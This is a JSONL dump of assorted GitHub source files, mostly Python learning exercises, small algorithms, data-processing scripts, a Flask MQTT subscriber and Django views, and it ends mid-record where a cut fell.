+{"seq_id":"9728184517","text":"\"\"\"\nSQLAlchemy - expression language\n\nszükség lesz egy engine defiícióra\n\npython objektumokat - a librarynek vannak erre a célra elkészített osztályai -\nfogunk használni arra, hogy az SQL utasításokat \nelkészítse és lefutassa az adatbázisban\n\"\"\"\n\nfrom sqlalchemy import create_engine, text, inspect\nfrom sqlalchemy import MetaData, Table, Column, String, Integer\n\nengine = create_engine(\"sqlite:///test.db\")\n\n\"\"\"\nAz adatbázis metaadatait - pl. táblákat, azok mezőit és minden, az adatbázihoz tartozó \ninformációval kapcsolatos objektumot hoz létre\n\"\"\"\nmeta = MetaData()\n\n# tábla definíció - adatbázis tábla python oldali reprezentációja\nepr_table = Table(\"expr_table\",\n                  meta,\n                  Column('id', Integer, primary_key=True),\n                  Column('name', String(100))\n                  )\n\nepr_table2 = Table(\"expr_table2\",\n                  meta,\n                  Column('id', Integer, primary_key=True),\n                  Column('name', String(100))\n                  )\n\n# epr_table.create(engine)\n# epr_table.drop(engine)\nmeta.create_all(engine)\n\n\n\n# insert_statement = epr_table.insert().values(id=1, name='Pisti')\ninsert_statement = epr_table.insert()\n# INSERT INTO expr_table (id, name) VALUES (:id, :name) -> a :id és :name -et bind változónak\n# nevezzük: a bind változó futási időben fogja megkapni az értéket\n# az sql adatbázisokban van 1 sql motor, ami megtervezi az sql utasítások futtatásának a módját\n# a bind változó azt fogja eredményezni, hogy az sql motor nem fog új futási tervet generálni insertenként\n\ndummy_data = [(2, \"Ilona\"), (3, 'Vica'), (4, 'Piri'), (5, 'Mari'), (6, 'Juli'), (7, 'Gizi')]\n\n# with engine.connect() as conn:\n#     #conn.execute(insert_statement)\n#     for item in dummy_data:\n#         conn.execute(insert_statement.values(id=item[0], name=item[1]))\n    \n#     conn.commit()\n\ninsert_statement = epr_table.insert()\ndummy_data = [(2, \"Ilona\"), (3, 'Vica'), (4, 'Piri'), (5, 'Mari'), (6, 'Juli'), (7, 'Gizi')]\n\ntemp = []\n\nfor item in dummy_data:\n    temp.append(insert_statement.values(id=item[0], name=item[1]))\n\nwith engine.connect() as conn:\n    for item in temp:\n        #conn.execute(item)\n        ...\n    conn.commit()\n\n#############################################################################\n# select\nfrom sqlalchemy import and_, or_\nselect_statement = epr_table.select()\nselect_statement = epr_table.select().where(epr_table.c.id < 5)\nselect_statement = epr_table.select().where(or_(epr_table.c.id < 5, epr_table.c.name == 'Juli'))\n\ndelete_statement = epr_table.delete().where(epr_table.c.id > 5)\n\nprint(select_statement)\nwith engine.connect() as conn:\n\n    result_set = conn.execute(select_statement)\n\n    for item in result_set:\n        print(item)\n\ndelete_statement = epr_table.delete().where(epr_table.c.id > 5)\n\nprint(delete_statement)\nwith engine.connect() as conn:\n    conn.execute(delete_statement)\n    conn.commit()\n\n\nupdate_statement = epr_table.update().where(epr_table.c.id < 5).values(name=\"Karcsi\")\n\nprint(update_statement)\nwith engine.connect() as conn:\n    conn.execute(update_statement)\n    conn.commit()","repo_name":"devloulou/2023_python_february","sub_path":"19. alkalom/expression_language.py","file_name":"expression_language.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"75194117598","text":"from pyDatalog import pyDatalog, pyEngine\nimport logging\nimport controlador\nimport ui\n\n# Descomente para poder observar el log\n# pyEngine.Logging = True\n# logging.basicConfig(level=logging.INFO)\n\ndef menu_hoja():\n  estado = True\n  while estado:\n    opcion = ui.pantalla_sintoma_menu_hoja()\n    if opcion == '5':\n        break\n    else:\n       controlador.almacenar_respuesta('hoja',opcion)\n\ndef main():\n  estado = True\n  while estado:\n    opcion = ui.menu_principal()\n    if opcion == '5':\n      ui.mensaje_salida()\n      break\n    elif opcion == '1':\n      menu_hoja()\n      \n    # elif opcion == '2':\n    #   ui.menu_cormo()\n    # elif opcion == '3':\n    #   ui.menu_seudotallo()\n    elif opcion == '4':\n      resultado = controlador.usar_regla_diagnostico()\n      controlador.mostrar_resultado(resultado)\n    else:\n      controlador.pantalla(lista_menu)\n\n\nif __name__ == '__main__':\n  main()\n\n","repo_name":"alejorodas/s_e_platano","sub_path":"s_e_platano.py","file_name":"s_e_platano.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"70590342238","text":"from pedestrians_social_binding.constants import *\nfrom pedestrians_social_binding.utils import *\nfrom pedestrians_social_binding.environment import Environment\nfrom pedestrians_social_binding.threshold import Threshold\nfrom pedestrians_social_binding.plot_utils import *\nfrom pedestrians_social_binding.trajectory_utils import *\n\nfrom parameters import *\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\nfrom utils import (\n    get_all_days,\n    get_groups_thresholds,\n    get_pedestrian_thresholds,\n    get_social_values,\n)\n\nif __name__ == \"__main__\":\n\n    for env_name in [\"atc:corridor\", \"diamor:corridor\"]:\n        print(f\"- {env_name}\")\n        env = Environment(\n            env_name, data_dir=\"../../atc-diamor-pedestrians/data/formatted\"\n        )\n\n        env_name_short = env_name.split(\":\")[0]\n\n        days = get_all_days(env_name)\n        soc_binding_type, soc_binding_names, soc_binding_values, _ = get_social_values(\n            env_name\n        )\n\n        encounters = pickle_load(\n            f\"../data/pickle/opposite_encounters_{env_name_short}.pkl\"\n        )\n\n        thresholds_indiv = []\n        # ONLY CORRIDOR\n        if env_name == \"atc:corridor\":\n            thresholds_indiv += [\n                Threshold(\n                    \"x\",\n                    BOUNDARIES_ATC_CORRIDOR[\"xmin\"],\n                    BOUNDARIES_ATC_CORRIDOR[\"xmax\"],\n                )\n            ]\n            thresholds_indiv += [\n                Threshold(\n                    \"y\",\n                    BOUNDARIES_ATC_CORRIDOR[\"ymin\"],\n                    BOUNDARIES_ATC_CORRIDOR[\"ymax\"],\n                )\n            ]\n        elif env_name == \"diamor:corridor\":\n            thresholds_indiv += [\n                Threshold(\n                    \"x\",\n                    BOUNDARIES_DIAMOR_CORRIDOR[\"xmin\"],\n                    BOUNDARIES_DIAMOR_CORRIDOR[\"xmax\"],\n                )\n            ]\n            thresholds_indiv += [\n                Threshold(\n                    \"y\",\n                    BOUNDARIES_DIAMOR_CORRIDOR[\"ymin\"],\n                    BOUNDARIES_DIAMOR_CORRIDOR[\"ymax\"],\n                )\n            ]\n\n        non_groups = env.get_pedestrians(\n            thresholds=thresholds_indiv, sampling_time=500, no_groups=True\n        )\n\n        groups = env.get_groups(\n            size=2,\n            ped_thresholds=thresholds_indiv,\n            group_thresholds=[],\n            with_social_binding=True,\n            sampling_time=500,\n        )\n\n        print(len(non_groups), len(groups))\n\n        thresholds_indiv += [Threshold(\"n\", min=16)]\n\n        non_groups = env.get_pedestrians(\n            thresholds=thresholds_indiv, sampling_time=500, no_groups=True\n        )\n\n        groups = env.get_groups(\n            size=2,\n            ped_thresholds=thresholds_indiv,\n            group_thresholds=[],\n            with_social_binding=True,\n            sampling_time=500,\n        )\n\n        print(len(non_groups), len(groups))\n\n        thresholds_indiv += [\n            Threshold(\"v\", min=VEL_MIN, max=VEL_MAX)\n        ]  # velocity in [0.5; 3]m/s\n\n        non_groups = env.get_pedestrians(\n            thresholds=thresholds_indiv, sampling_time=500, no_groups=True\n        )\n\n        groups = env.get_groups(\n            size=2,\n            ped_thresholds=thresholds_indiv,\n            group_thresholds=[],\n            with_social_binding=True,\n            sampling_time=500,\n        )\n\n        print(len(non_groups), len(groups))\n\n        group_thresholds = [\n            Threshold(\"delta\", min=GROUP_BREADTH_MIN, max=GROUP_BREADTH_MAX)\n        ]\n\n        groups = env.get_groups(\n            size=2,\n            ped_thresholds=thresholds_indiv,\n            group_thresholds=group_thresholds,\n            with_social_binding=True,\n            sampling_time=500,\n        )\n\n        print(len(non_groups), len(groups))\n","repo_name":"Chevrefeuille/dyad-non-group-encounters","sub_path":"src/01_24_get_stats_threshold.py","file_name":"01_24_get_stats_threshold.py","file_ext":"py","file_size_in_byte":3846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"43372729983","text":"#!/usr/bin/python3\n\n\"\"\"\nModule Docstring\n\"\"\"\n\n__author__ = \"Dinesh Tumu\"\n__version__ = \"0.1.0\"\n__license__ = \"MIT\"\n\n\n# imports\nimport sys\n\n# init variables\n\n\ndef inclusive_range(*args):\n    numargs = len(args)\n    start = 0\n    step = 1\n    \n    # initialize parameters\n    if numargs < 1:\n        raise TypeError(f'expected at least 1 argument, got {numargs}')\n    elif numargs == 1:\n        stop = args[0]\n    elif numargs == 2:\n        (start, stop) = args\n    elif numargs == 3:\n        (start, stop, step) = args\n    else: raise TypeError(f'expected at most 3 arguments, got {numargs}')\n\n    # generator\n    i = start\n    while i <= stop:\n        yield i\n        i += step\n\n\ndef main():\n    \"\"\" Main entry point of the app \"\"\"\n\n    # Simple Exception Handling\n    try:\n        var_1 = 5/0\n    except ValueError:\n        print(\"Found Value Error\")\n    # except ZeroDivisionError:\n    #     print(\"Don't divide by zero\")\n    except:\n        print(f'Unknown Error: {sys.exc_info()[1]}')\n    else:\n        print(\"No error found\")\n        print(var_1)\n\n    # Reporting errors in functions and classes\n    try:\n        for i in inclusive_range(25,2,3,4):\n            print(i, end = ' ')\n        print()\n    except TypeError as e:\n        print(f'range error: {e}')\n\nif __name__ == \"__main__\":\n    \"\"\" This is executed when run from the command line \"\"\"\n    main()","repo_name":"dinotumu/code.py","sub_path":"learning/01.python-basics/10.exception-handling.py","file_name":"10.exception-handling.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38415662663","text":"# 재귀 구현의 런타임 에러가 최대 재귀호출 횟수를 초과했기 때문이라고 추측하여,\n# 재귀 대신 스택을 활용한 DFS 방식으로 구현했으나, 같은 에러가 남.\n\nimport sys\nsys.stdin = open('input.txt')\n\n\ndef quick_sort(arr):\n    global sorted_arr\n    stack = []\n    stack.append(arr)\n\n    while stack:\n        current = stack.pop()\n\n        # 배열의 길이가 1 이하인 경우 => 해당 배열을 sorted_arr에 더한다.\n        if len(current) <= 1:\n            sorted_arr.extend(current)\n            continue\n\n        # 배열의 첫 번째 값을 pivot값으로 정한다.\n        pivot = current[0]\n        left = []\n        right = []\n\n        for i in range(1, len(current)):\n            if current[i] <= pivot:\n                left.append(current[i])\n            else:\n                right.append(current[i])\n\n        stack.append(right)\n        stack.append([pivot])\n        stack.append(left)\n\n\nT = int(input())\n\nfor tc in range(1, T + 1):\n    N = int(input())\n    arr = [int(x) for x in input().split()]\n    sorted_arr = []\n\n    quick_sort(arr)\n    print(\"#{} {}\".format(tc, sorted_arr[N // 2]))\n","repo_name":"Hyojeong721/TIL","sub_path":"algorithm/SWA/date/1007/ready2start/5205_퀵정렬/s2.py","file_name":"s2.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"13687775750","text":"\"\"\"\n\n\"\"\"\n\nimport numpy as np\nfrom scipy.spatial import distance_matrix\nfrom scipy.optimize import linear_sum_assignment\n\nfrom skeleton import Skeleton\n\n\nclass TemporalFusion:\n    def __init__(self):\n        self.history = None\n\n    def run(self, skeletons, mode=\"linear_sum_assign\"):\n        skeletons = Skeleton.remove_empty(skeletons)\n        if np.isnan(skeletons).all() or len(skeletons) == 0:\n            return self\n        if self.history is None:\n            self.history = {\"h\" + str(i): e for i, e in enumerate(skeletons)}\n            return self\n        if mode == \"linear_sum_assign\":\n            history = np.array(list(self.history.values()))\n            idx_to_name = dict(zip(range(history.shape[0]), self.history.keys()))\n            history_centers = Skeleton.center(history)\n            \n            skeleton_centers = Skeleton.center(skeletons)\n            cost_matrix = distance_matrix(skeleton_centers, history_centers)\n            row_ind, col_ind = linear_sum_assignment(cost_matrix)\n           \n            \n\n            # Manage update\n            for i in range(row_ind.shape[0]):\n                self.history[idx_to_name[col_ind[i]]] = skeletons[row_ind[i]]\n\n            # Manage delete\n            keys_to_delete = set(range(len(self.history))).difference(set(col_ind))\n            for i in keys_to_delete:\n                self.history.pop(idx_to_name[i], None)\n\n            # Manage addition\n            idxs_to_add = set(range(skeletons.shape[0])).difference(set(row_ind))\n            for i in idxs_to_add:\n                new_key = \"h\" + str(int(list(self.history.keys())[-1][1:]) + 1)\n                self.history[new_key] = skeletons[i]\n\n            return self\n        elif mode == \"argmin\":\n            raise ValueError(\"argmin mode not implemented\")\n        else:\n            raise ValueError(\"mode string not recognized\")\n\n    def get_history(self):\n        return [{\"keypoints\": self.history[body_id].tolist(), \"body_id\": body_id} \n            for body_id in self.history] if self.history else []\n\n\ndef test():\n    data = [\n        # Skeleton 1\n        [\n            [0, 0, 0], [], [], [3, 3, 3]\n        ],\n        # Skeleton 2\n        [\n            [1, 1, 1], [1, 1, 1], [], []\n        ],\n        # Skeleton 3\n        [\n            [1, 1, 1], [2, 2, 2], [], []\n        ]\n    ]\n    skeletons_np = Skeleton.to_np(data)\n    tf = TemporalFusion()\n    print(\"Step 1: \", tf.run(skeletons_np).history)\n    print(\"Step 2: \", tf.run(np.array([skeletons_np[0]])).history)\n    print(\"Step 3: \", tf.run(np.array([skeletons_np[1]])).history)\n    print(\"Step 4: \", tf.run(np.array([skeletons_np[2]])).history)\n    data2 = [\n        # Skeleton 1\n        [\n            [1, 1, 1], [1, 1, 1], [], []\n        ],\n        # Skeleton 2\n        [\n            [0, 0, 0], [], [], [3, 3, 3]\n        ],\n    ]\n    skeletons_np = Skeleton.to_np(data2)\n    print(\"Step 5: \", tf.run(skeletons_np).history)\n\n\nif __name__ == '__main__':\n    test()\n","repo_name":"PARCO-LAB/BeFine","sub_path":"aggregator/fusion/temporal_fusion.old.py","file_name":"temporal_fusion.old.py","file_ext":"py","file_size_in_byte":2955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"5313318782","text":"import numpy as np\n\n\ndef rosenbrock(q):\n    \"\"\"\n    The Rosenbrock valley function: (1 - x)^2 + 100(y - x^2)^2\n    \"\"\"\n    x = q[0]\n    y = q[1]\n    return (1 - x) ** 2 + 100 * (y - x * x) ** 2\n\n\ndef grad_rosenbrock(q):\n    \"\"\"\n    The first derivatives of the Rosenbrock valley function\n    \"\"\"\n    # Initialize\n    df = np.zeros(2, dtype='float64')\n    x = q[0]\n    y = q[1]\n\n    # Calculate\n    df[0] = 2 * (x - 1) - 400 * (y - x * x) * x\n    df[1] = 200 * (y - x * x)\n    return df\n\n\ndef hessian_rosenbrock(q):\n    \"\"\"\n    The second derivatives of the Rosenbrock valley function\n    \"\"\"\n    # Initialize\n    H = np.zeros((2, 2), dtype='float64')\n    x = q[0]\n    y = q[1]\n\n    # Calculate\n    H[0, 0] = 2 - 400 * y + 1200 * x * x\n    H[0, 1] = -400 * x\n    H[1, 0] = -400 * x\n    H[1, 1] = 200\n    return H\n\n\ndef himmelblau(q):\n    \"\"\"\n    The Himmelblau function: (x^2 + y - 11)^2 + (x + y^2 -7)^2\n    \"\"\"\n    x = q[0]\n    y = q[1]\n    return (x * x + y - 11) ** 2 + (x + y * y - 7) ** 2\n\n\ndef grad_himmelblau(q):\n    \"\"\"\n    The first derivatives of the Himmelblau function\n    \"\"\"\n    # Initialize\n    df = np.zeros(2, dtype='float64')\n    x = q[0]\n    y = q[1]\n\n    # Calculate\n    df[0] = 4 * (x * x + y - 11) * x + 2 * (x + y * y - 7)\n    df[1] = 2 * (x * x + y - 11) + 4 * (x + y * y - 7) * y\n    return df\n\n\ndef hessian_himmelblau(q):\n    \"\"\"\n    The second derivatives of the Himmelblau function\n    in form of a Hessian matrix\n    \"\"\"\n    # Initialize\n    H = np.zeros((2, 2), dtype='float64')\n    x = q[0]\n    y = q[1]\n\n    # Fill the Hessian\n    H[0, 0] = 12 * x * x + 4 * y - 42\n    H[0, 1] = 4 * x + 4 * y\n    H[1, 0] = 4 * x + 4 * y\n    H[1, 1] = 4 * x + 12 * y * y - 26\n    return H\n\n\ndef decay(t, p):\n    \"\"\"\n    The function fitting the activity of a radioactive substance.\n    Arguments:\n        - 't': Time\n        - 'p': Parameters\n    \"\"\"\n    return p[0] * np.exp(-t / p[1]) + p[2]\n\n\ndef grad_decay(t, p):\n    \"\"\"\n    This function computes the gradient of decay.\n    \"\"\"\n    g = np.zeros(3, dtype='float64')\n    g[0] = np.exp(-t / p[1])\n    g[1] = (p[0] * t * np.exp(-t / p[1])) / (p[1] * p[1])\n    g[2] = 1\n    return g\n\n    \ndef master(t, y, s, p):\n    \"\"\"\n    The master function or the squared loss to be minimized in order to\n    determine the lifetime\n    Arguments:\n        - 't': Time\n        - 'y': Measurement of activity\n        - 's': Uncertainty on y\n        - 'p': Parameters\n    \"\"\"\n    n = len(t)\n    sum = 0\n    for i in range(n):\n        sum += ((decay(t[i], p) - y[i]) ** 2) / (s[i] * s[i])\n    return sum\n\n\ndef grad_master(t, y, s, p):\n    \"\"\"\n    This function computes the gradient of the squared loss\n    \"\"\"\n    n = len(t)\n    q = np.zeros(3, dtype='float64')\n    for i in range(n):\n        dec = decay(t[i], p)\n        gd = grad_decay(t[i], p)\n        for j in range(3):\n            q[j] += gd[j] * (2 * (dec - y[i]) / (s[i] * s[i]))\n    return q\n","repo_name":"amaliestokholm/numeric","sub_path":"6_minimization/systems.py","file_name":"systems.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"43485626664","text":"from use_module import parse_text\n\nclass Query():\n    def __init__(self, doc_store, index):\n        self.doc_store = doc_store\n        self.index = index\n\n    def print_doc_ids(self, doc_ids):\n        for doc_id in doc_ids:\n            print(self.doc_store.getDoc(doc_id))\n\n    def AND_doc_ids(self, p1, p2):\n        result = p1.AND(p2)\n        self.print_doc_ids(result.getDocIds())\n\n    def OR_doc_ids(self, p1, p2):\n        result = p1.OR(p2)\n        self.print_doc_ids(result.getDocIds())\n\n    def NOT_doc_ids(self, p1, p2):\n        result = p1.NOT(p2)\n        self.print_doc_ids(result.getDocIds())\n\n    def choose_boolean_operator(self, tokens):\n        p1 = self.index.get_posting_list(tokens[0])\n        operator = tokens[1]\n        p2 = self.index.get_posting_list(tokens[2])\n        if operator == \"AND\":\n            self.AND_doc_ids(p1, p2)\n        elif operator == \"OR\":\n            self.OR_doc_ids(p1, p2)\n        elif operator == \"NOT\":\n            self.NOT_doc_ids(p1, p2)\n        else:\n            print(\"Invalid query.\")\n\n    def biword_query(self, tokens):\n        p1 = self.index.get_posting_list(tokens[0])\n        p2 = self.index.get_posting_list(tokens[1])\n        self.AND_doc_ids(p1, p2)\n\n    def aword_query(self, tokens):\n        p = self.index.get_posting_list(tokens[0])\n        self.print_doc_ids(p.getDocIds())\n\n    def get_query(self):\n        content = input(\"Please enter your query:\\n\")\n        tokens = parse_text(content)\n        if len(tokens) == 3 :\n            self.choose_boolean_operator(tokens)\n        elif len(tokens) == 2:\n            self.biword_query(tokens)\n        elif len(tokens) == 1:\n            self.aword_query(tokens)","repo_name":"arash-mehrabi-z/information-retrieval","sub_path":"persianPreProcess/src/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"23579914540","text":"import sqlite3\nfrom sqlite3 import Cursor\nfrom typing import List, Optional, Self\n\nfrom app.singleton import SingletonMeta\n\n\nclass SQLite(metaclass=SingletonMeta):\n    \"\"\"SQLite class.\"\"\"\n\n    def __init__(self: Self, db_name: Optional[str] = \"data.sqlite\") -> None:\n        \"\"\"Initialize the SQLite class.\"\"\"\n        if not db_name:\n            return\n        self.db_name = db_name\n        self.connection = sqlite3.connect(db_name, check_same_thread=False)\n        self.connection.execute(\"PRAGMA foreign_keys=ON;\")\n        self.connection.execute(\"PRAGMA encoding='UTF-8';\")\n\n    def execute(self: Self, query: str, values: List = []) -> Cursor:\n        \"\"\"Execute a query.\"\"\"\n        return self.connection.execute(query, values)\n\n    def close(self: Self) -> None:\n        \"\"\"Close the SQLite connection.\"\"\"\n        self.connection.close()\n\n        del SingletonMeta._instances[self.__class__]\n\n\nif __name__ == \"__main__\":\n    # Initialize\n    sqlite = SQLite(\"../testdb.sqlite\")\n\n    # Close\n    sqlite.close()\n","repo_name":"Johanx22x/PL-SecondProject","sub_path":"src/app/sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"72409367519","text":"import argparse\nimport os\nimport shutil\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--path\")\n    args = parser.parse_args()\n    path = args.path\n    fileimg = set([s[:-4] for s in os.listdir(f\"./{path}/screenshot/\")])\n    filehtml = set([s[:-5] for s in os.listdir(f\"./{path}/html/\")])\n    print(f\"screenshot: {len(fileimg)}\")\n    print(f\"html: {len(filehtml)}\")\n    for file in filehtml:\n        if file not in fileimg:\n            if os.path.exists(f\"./{path}/html/{file}.html\"):\n                shutil.move(f\"./{path}/html/{file}.html\", f\"./{path}/tmp/\")\n    for file in fileimg:\n        if file not in filehtml:\n            if os.path.exists(f\"./{path}/screenshot/{file}.png\"):\n                shutil.move(f\"./{path}/screenshot/{file}.png\",\n                            f\"./{path}/tmp/\")\n","repo_name":"soysc/MultiPhishNet","sub_path":"getdata/remove_html_without_img.py","file_name":"remove_html_without_img.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"29977756702","text":"import eventlet\nfrom flask import Flask, render_template, Response\nfrom flask.helpers import send_from_directory\nimport paho.mqtt.client as mqtt\nfrom data_Handler import sensor_Data_Handler\nfrom flask_mqtt import Mqtt\nfrom flask_socketio import SocketIO\nimport json\n\n\n# MQTT Settings\nMQTT_Broker = \"test.mosquitto.org\"\nMQTT_Port = 1883\nKeep_Alive_Interval = 30\nMQTT_Topic_GPS = \"Home/BedRoom/DHT1/GPS\"\n\napp = Flask(__name__)\n\napp.config['MQTT_BROKER_URL'] = MQTT_Broker\napp.config['MQTT_BROKER_PORT'] = MQTT_Port\napp.config['MQTT_USERNAME'] = ''\napp.config['MQTT_PASSWORD'] = ''\napp.config['MQTT_KEEPALIVE'] = Keep_Alive_Interval\napp.config['MQTT_REFRESH_TIME'] = 1.0  # refresh time in seconds\nmqtt = Mqtt(app)\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n# Global variable\ndata =dict()\n\n@mqtt.on_connect()\ndef handle_connect(client, userdata, flags, rc):\n    mqtt.subscribe(MQTT_Topic_GPS)\n\n@mqtt.on_message()\ndef handle_mqtt_message(client, userdata, message):\n    global data\n    data = dict(\n        topic=message.topic,\n        payload=message.payload.decode()\n    )\n    print(\"our data : \" + str(data).replace(\"'\", \"\\\"\"))\n\n\n#Consumer API\n@app.route('/topic/GPS')\ndef get_messages():\n    def events():\n            yield \"data:{0}\\n\\n\".format(data)\n    return Response(events(), mimetype=\"text/event-stream\")\n\n\n\ndef script_embeddable_json(value):\n    return (\n        json.dumps(json.dumps(value))\n        .replace(\"<\", \"\\\\u003c\")\n        .replace(\"\\u2028\", \"\\\\u2028\")\n        .replace(\"\\u2029\", \"\\\\u2029\")\n        .replace(\"'\", \"\\\"\")\n    )\n\nif __name__ == '__main__':\n    app.run(debug=True, port=8080)\n","repo_name":"KouhouMohamed/Smart-City-Taxi","sub_path":"MQTT_sub_API_Flask.py","file_name":"MQTT_sub_API_Flask.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"3034751588","text":"class Solution:\n    def hIndex(self, citations: List[int]) -> int:\n        length = len(citations)\n        s, e = 0, length - 1\n        \n        while s <= e:\n            m = (s + e) // 2\n            # need to have this to handle exact match, if h-index < count, return the (length - s)\n            if citations[m] == length-m:\n                return length - m\n            \n            if citations[m] > length-m:\n                e = m - 1\n            else:\n                s = m + 1\n                \n        return length - s\n        \n        \n'''\nGiven an array of citations sorted in ascending order (each citation is a non-negative integer) of a researcher, write a function to compute the researcher's h-index.\n\nAccording to the definition of h-index on Wikipedia: \"A scientist has index h if h of his/her N papers have at least h citations each, and the other N − h papers have no more than h citations each.\"\n\nSolution: Binary Search\nTime: O(log(n))\nSpace: O(1)\n'''\n","repo_name":"peiguo0/Leetcode","sub_path":"275. H-Index II.py","file_name":"275. H-Index II.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"42601819095","text":"from visual import *\r\nfrom visual.graph import *\r\nscene.width = 1024\r\nscene.height = 768\r\nscene.title = \"bouncing ball\"\r\nscene.forward = (0,-.3,-1)\r\n\r\nwall=box(pos=vector(-22,-2,0),size=vector(1.5,8,2),color=vector(0.9,0.7,0.4))\r\nfloor=box(pos=vector(-0,-6,0),size=vector(50,0.2,4),color=vector(0.6,0.7,0.4))\r\nball = sphere(pos=vector(-21.5,2.4,0),velocity=vector(3,10,0),color = color.red, radius = 0.4,make_trail=True,retain=600)\r\nm = 1\r\ng = 9.8\r\ne = 0.8\r\n\r\ndt = 0.01\r\nt=0\r\ncount=0\r\nwhile(True):        \r\n    rate(100)     \r\n    ball.pos.x = ball.pos.x + ball.velocity.x*dt    \r\n    ball.pos.y = ball.pos.y + ball.velocity.y*dt\r\n    if(ball.pos.y-ball.radius < floor.pos.y):        \r\n        ball.velocity.y = -e*ball.velocity.y\r\n        count = count + 1\r\n        if(int(ball.velocity.y) == 0):  \r\n            print(count)\r\n            break\r\n    else:\r\n        ball.velocity.y = ball.velocity.y - 9.8*dt        \r\n    t = t+dt\r\n\r\n\r\n\r\n","repo_name":"Niranjan-Kumar-Gupta/Bouncing-ball-ground","sub_path":"bouncingBall.py","file_name":"bouncingBall.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"10446089028","text":"'''\nhttps://leetcode.com/problems/keys-and-rooms/\n841. Keys and Rooms\nThere are N rooms and you start in room 0.  Each room has a distinct number in 0, 1, 2, ..., N-1, and each room may have some keys to access the next room.\n\nFormally, each room i has a list of keys rooms[i], and each key rooms[i][j] is an integer in [0, 1, ..., N-1] where N = rooms.length.  A key rooms[i][j] = v opens the room with number v.\n\nInitially, all the rooms start locked (except for room 0).\n\nYou can walk back and forth between rooms freely.\n\nReturn true if and only if you can enter every room.\n\nExample 1:\n\nInput: [[1],[2],[3],[]]\nOutput: true\nExplanation:\nWe start in room 0, and pick up key 1.\nWe then go to room 1, and pick up key 2.\nWe then go to room 2, and pick up key 3.\nWe then go to room 3.  Since we were able to go to every room, we return true.\nExample 2:\n\nInput: [[1,3],[3,0,1],[2],[0]]\nOutput: false\nExplanation: We can't enter the room with number 2.\nNote:\n\n1 <= rooms.length <= 1000\n0 <= rooms[i].length <= 1000\nThe number of keys in all rooms combined is at most 3000.\n'''\nclass Solution(object):\n  def canVisitAllRooms(self, rooms):\n    \"\"\"\n    :type rooms: List[List[int]]\n    :rtype: bool\n    \"\"\"\n    if not rooms: return False\n\n    room_visit_tracker = []\n    for _ in range(len(rooms)):\n      # Mark each room in room_visit_tracker as unvisted (0)\n      room_visit_tracker.append(0)\n\n    next_rooms_to_visit_indices = []\n    current_room_index = 0\n    next_rooms_to_visit_indices.append(current_room_index)\n\n    while next_rooms_to_visit_indices:\n      current_room_index = next_rooms_to_visit_indices.pop(0)\n      room_visit_tracker[current_room_index] = 1\n      keys_in_current_room = rooms[current_room_index]\n      if keys_in_current_room:\n        for key in keys_in_current_room:\n          if (room_visit_tracker[key] != 1) and (0 <= key < len(rooms)):\n            # unvisited room\n            next_rooms_to_visit_indices.append(key)\n    return all(v is 1 for v in room_visit_tracker)\n\nif __name__ == \"__main__\":\n  rooms = [[1,3],[3,0,1],[2],[0]]\n  # rooms = [[1], [2], [3], []]\n  sol = Solution()\n  print(sol.canVisitAllRooms(rooms))","repo_name":"1465267829/leetcodePython","sub_path":"tree/depth-first-search/CanVisitAllRooms.py","file_name":"CanVisitAllRooms.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"74315015519","text":"#!/usr/bin/env python\n# encoding: utf-8\nu\"\"\"\nschool.py\n\nCriado por Luan Fonseca em 18/06/2013.\n\"\"\"\n\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib import messages, auth\nfrom django.contrib.auth.decorators import login_required\n\nfrom folks.forms import SchoolForm\nfrom folks.models import School\n\n@login_required\ndef list(request):\n    paginator = Paginator(School.objects.all(), 10)\n    try:\n        schools = paginator.page(\n            request.GET.get('page', 1)\n        )\n    except (EmptyPage, PageNotAnInteger):\n        messages.error(request, u\"A página que você tentou acessar está vazia. Você foi redirecionado para a primeira página.\")\n        return redirect('school_list')\n    \n    template_context = {\n        'schools': schools,\n    }\n    return render(\n        request=request,\n        template_name='school/list.html',\n        dictionary=template_context\n    )\n\n@login_required\ndef add(request):\n    school_form = SchoolForm(\n        data=request.POST or None\n    )\n    if school_form.is_valid():\n        school_form.save(auth.get_user(request))\n        messages.success(request, u\"Material salvo com sucesso.\")\n        return redirect('school_list')\n    \n    template_context = {\n        'school_form': school_form,\n    }\n    return render(\n        request=request,\n        template_name='school/add.html',\n        dictionary=template_context\n   